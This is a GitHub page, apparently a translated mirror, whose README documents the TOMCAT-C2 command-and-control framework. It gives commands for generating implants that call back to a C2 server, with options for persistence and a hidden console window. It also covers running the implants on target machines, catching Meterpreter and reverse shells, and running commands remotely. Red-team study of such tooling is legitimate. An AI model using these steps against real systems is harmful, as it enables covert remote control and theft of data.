tom7voldemort/TOMCAT-C2

GitHub: tom7voldemort/TOMCAT-C2

支持多协议和 mTLS 认证的 Python 命令与控制框架,提供证书管理和多界面操作能力。

Stars: 1 | Forks: 0

# TOMCAT C2 框架 ``` ___________________ _____ _________ ________________ _________ ________ \__ ___/\_____ \ / \ \_ ___ \ / _ \__ ___/ \_ ___ \ \_____ \ | | / | \ / \ / \/ \ \/ / /_\ \| | / \ \/ / ____/ | | / | \/ Y \ \____/ | \ | \ \____/ \ |____| \_______ /\____|__ /\______ /\____|__ /____| \______ /\_______ \ \/ \/ \/ \/ \/ \/ TOMCAT C2 Frameworks ``` **作者:** TOM7 **GitHub:** [tom7voldemort](https://github.com/tom7voldemort) ## 概述 TOMCAT C2 是一个多协议命令与控制(Command & Control)框架,支持在单个端口上建立三种类型的传入连接:原生 TOMCAT agent、Meterpreter 会话和通用反向 shell。它支持双向 TLS(mTLS)以进行经过身份验证的加密 agent 通信,并内置 PKI 以管理证书。 ## 功能特性 - **多协议支持** — 单个监听器可同时接受 TOMCAT agent、Meterpreter 和反向 shell - **mTLS 支持** — 采用 CA 签名客户端证书的双向 TLS;仅授权 agent 可连接 - **Fernet 加密** — 所有 TOMCAT agent 流量均使用对称 Fernet 密钥进行端到端加密 - **三种界面** — CLI、Web Panel (Flask) 和 Tkinter GUI - **内置 PKI** — 通过 CLI 生成 CA、服务器证书及每 agent 证书 - **Agent 打包** — 自动生成包含预配置证书和脚本的即用型 agent 文件夹 - **证书管理** — 列出、生成及撤销 agent 证书 - **文件传输** — 向/从 agent 上传和下载文件 - **会话命令** — `sysinfo`、`screenshot`、`elevate`、`cd`、`download`、`upload`、`stoptask` - **持久化** — 可选的 Windows (Registry) 和 Linux (Cron) agent 持久化 - **多会话** — 同时与多个会话交互 ## 安装 ``` git clone https://github.com/tom7voldemort/TOMCAT-C2.git ``` ## 环境要求 ``` Python 3.8+ cryptography flask (for Web Panel mode) pysocks ``` 安装依赖: ``` pip install -r requirements.txt ``` ## 项目结构 ``` . ├── start.py # Entry point ├── AGENT/ │ └── tomcatv2a.py # Agent template ├── IMPLANT/ # Generated agent packages (auto-created) ├── Certs/ # Server certificates (auto-created) │ ├── ca-key.pem │ ├── ca-cert.pem │ ├── server-key.pem │ ├── server-cert.pem │ └── Agent```` # Per-agent certificates ├── Downloads/ # Files received from agents (auto-created) ├── Cores/ │ ├── App/ │ │ ├── App.py # Web Panel (Flask) │ │ ├── Cli.py # CLI Interface │ │ └── Gui.py # Tkinter GUI │ └── Systems/ │ ├── Server.py # Standard TOMCAT-only server │ ├── MultiProtocolServer.py # Multi-protocol server │ ├── CertificateManager.py # PKI / certificate management │ └── Cryptography.py # Fernet encryption wrapper └── Config/ ├── Color.py ├── Logo.py ├── Helper.py └── templates/ │ └── index.html │ └── static/ ├── css/ │ └── style.css └── js/ └── script.js ``` ## 快速开始 ### 1. 初始化证书(mTLS 必需) ``` python3 start.py --init-certs ``` 可选择指定服务器的公网 IP,以便证书 SAN 与之匹配: ``` python3 start.py --init-certs --server-host 192.168.1.10 ``` ### 2. 生成 Agent 包 ``` python3 start.py --gen-agent myagent --agent-host 192.168.1.10 --agent-port 4444 --agent-mtls ``` 这将创建包含以下内容的 `IMPLANT/MYAGENT/` 文件夹: ``` IMPLANT/MYAGENT/ ├── tomcatv2a.py # Pre-configured agent script ├── agent-key.pem ├── agent-cert.pem ├── ca-cert.pem └── README.txt ``` 将整个文件夹复制到目标机器并运行: ``` python3 tomcatv2a.py ``` ### 3. 启动服务器 **CLI 模式(仅标准 TOMCAT):** ``` python3 start.py -C ``` **带 mTLS 的 CLI 模式:** ``` python3 start.py -C -T ``` **带 Meterpreter + mTLS 的 CLI 模式(所有协议):** ``` python3 start.py -C -M -T ``` **Web Panel(默认):** ``` python3 start.py ``` ## 命令参考 ### `start.py` 标志位 | 标志位 | 完整形式 | 描述 | |------|-----------|-------------| | `-i` | `--init-certs` | 初始化 CA 和服务器证书 | | `-a ID` | `--gen-agent ID` | 生成 agent 证书和包 | | `-m` | `--gen-multi-agent` | 生成多个 agent | | `-c N` | `--gen-agent-count N` | 要生成的 agent 数量(默认:10) | | `-u PREFIX` | `--gen-agent-prefix PREFIX` | Agent 名称前缀(默认:agent) | | `-l` | `--list-agents` | 列出所有已颁发的 agent 证书 | | `-r ID` | `--revoke-agent ID` | 撤销一个 agent 证书 | | `-T` | `--mtls` | 在服务器上启用 mTLS | | `-M` | `--meterpreter` | 启用多协议模式(Meterpreter + RevShell) | | `-w HOST` | `--host HOST` | Web Panel 绑定主机(默认:0.0.0.0) | | `-p PORT` | `--port PORT` | Web Panel 端口(默认:5000) | | `-S HOST` | `--server-host HOST` | 嵌入服务器证书 SAN 的主机 | | `-ah HOST` | `--agent-host HOST` | 嵌入生成 agent 脚本中的 C2 主机 | | `-ap PORT` | `--agent-port PORT` | 嵌入生成 agent 脚本中的 C2 端口 | | `-am` | `--agent-mtls` | 在生成的 agent 中启用 mTLS | | `-hc` | `--hide-console` | 在生成的 agent 中隐藏控制台窗口(Windows) | | `-ps` | `--persistence` | 为生成的 agent 添加持久化 | | `-C` | `--cli-mode` | 以 CLI 界面启动 | | `-G` | `--gui-mode` | 以 Tkinter GUI 启动 | | `-W` | `--web-mode` | 以 Web Panel (Flask) 启动 | ### CLI 会话命令 | 命令 | 描述 | |---------|-------------| | `sessions` | 列出所有活动会话 | | `use ` | 进入某会话的交互式 shell | | `exec ` | 在会话上执行单条命令 | | `kill ` | 终止一个会话 | | `status` | 显示服务器状态和运行时间 | | `stats` | 会话类型分布(TOMCAT / Meterpreter / Shell) | | `logs` | 查看近期事件日志 | | `clear` | 清屏 | | `help` | 显示命令参考 | | `exit` | 停止服务器并退出 | ### Agent 命令(在 `use ` 内部) | 命令 | 描述 | |---------|-------------| | `sysinfo` | 完整系统信息 | | `elevate` | 检查提权机会 | | `screenshot` | 截屏并下载 | | `download ` | 从 agent 下载文件 | | `upload ` | 上传文件到 agent | | `dl ` | download 的别名 | | `cd ` | 切换 agent 上的工作目录 | | `stoptask` | 终止当前运行的命令 | | `back` | 返回主控制台 | | 任意 shell 命令 | 在目标上通过 `subprocess` 执行 | ## mTLS 架构 ``` C2 Server Agent ───────── ───── ca-cert.pem ◄── shared trust ──► ca-cert.pem server-key.pem agent-key.pem server-cert.pem agent-cert.pem │ │ └──────── TLS mutual auth ─────────┘ ``` CA 同时签名服务器证书和每一个 agent 证书。在 TLS 握手期间,双方根据同一个 CA 互相验证。没有有效 CA 签名证书的 agent 会在 SSL 层被拒绝,在此之前不会进行任何 C2 协议通信。 ## 多协议模式 (`-M`) 当使用 `-M` 启动时,服务器根据每个传入连接的首批字节检测会话类型: | 首批字节 | 检测为 | |-------------|-------------| | TLS ClientHello (`0x16 0x03`) | TOMCAT agent(先经 SSL 封装,再进行识别) | | Meterpreter 长度前缀头 | Meterpreter 会话 | | 可打印 UTF-8 / shell 提示符 | 反向 shell | 这使得单个端口可以同时接受所有三种连接,无需重新配置。 ## 证书管理 ``` # 初始化 CA + 服务器证书 python3 start.py --init-certs # 生成单个 Agent 包 (mTLS 已启用) python3 start.py -a agent01 -ah 10.0.0.1 -ap 4444 -am # 生成 5 个带有前缀的 Agent python3 start.py -m -c 5 -u op1 -ah 10.0.0.1 -ap 4444 -am # 列出所有已签发的 Agent 证书 python3 start.py -l # 吊销 Agent 证书 python3 start.py -r agent01 ``` 证书存储在 `Certs/` 目录下。Agent 证书存储在 `Certs/AgentTCF/` 目录下。元数据(创建日期、路径)记录在 `Certs/Metadata.json` 中。 | 证书 | 有效期 | |-------------|----------| | CA | 10 年 | | Server | 1 年 | | Agent | 1 年(默认) | ## Agent 配置 生成的 `tomcatv2a.py` 中包含由 `start.py` 预填充的以下变量: ``` ServerHost = "192.168.1.10" ServerPort = 4444 UseMTLS = True HideConsole = False AddPersistence = False ``` 若要在不使用 mTLS(纯 TCP)的情况下部署,请在生成 agent 时省略 `-am`: ``` python3 start.py -a myagent -ah 192.168.1.10 -ap 4444 ``` ## 已知问题 / 已应用的修复 **Bug(已在 `MultiProtocolServer.py` 中修复):** 当同时使用 `-M` (MeterpreterMode) 和 `-T` (mTLS) 运行时,使用 `UseMTLS=True` 的 TOMCAT agent 无法连接。根本原因是: 1. `StartServer()` 和 `SessionHandler()` 使用 `and not self.MeterpreterMode` 来保护 SSL 设置,导致 SSL 封装从未发生。 2. `IdentifySession()` 检测到来自 agent 的 TLS ClientHello 后立即关闭了连接。 此修复基于首批字节的 **窥视(peek)** 来应用 SSL 封装 —— 纯 TCP 客户端(Meterpreter、反向 shell)以未封装的形式通过,而 TLS 客户端(TOMCAT agent)在识别之前先进行封装。 ## 安全说明 - 妥善保管 `ca-key.pem` 和 `server-key.pem`,切勿将其部署到 agent。 - 每个 agent 都有其唯一的密钥对;撤销其中一个不会影响其他 agent。 - 若未使用 `-T`/`--mtls`,任何完成 TOMCAT 握手的客户端都将被接受 —— 在生产环境中请使用 mTLS。 - Fernet 密钥是临时的(在服务器启动时生成);重启服务器将使所有现有的 agent 会话失效。
标签:Azure 安全, C2框架, CSV导出, Fernet加密, Flask, IP 地址批量处理, Meterpreter, mTLS, Python, TOMCAT, 反向Shell, 命令控制, 嗅探欺骗, 多协议监听, 安全学习资源, 屏幕截图, 恶意软件, 提权, 数字证书, 数据采集, 文件传输, 无后门, 权限维持, 横向移动, 红队基础设施, 编程规范, 网络信息收集, 网络安全, 远程控制, 逆向工具, 隐私保护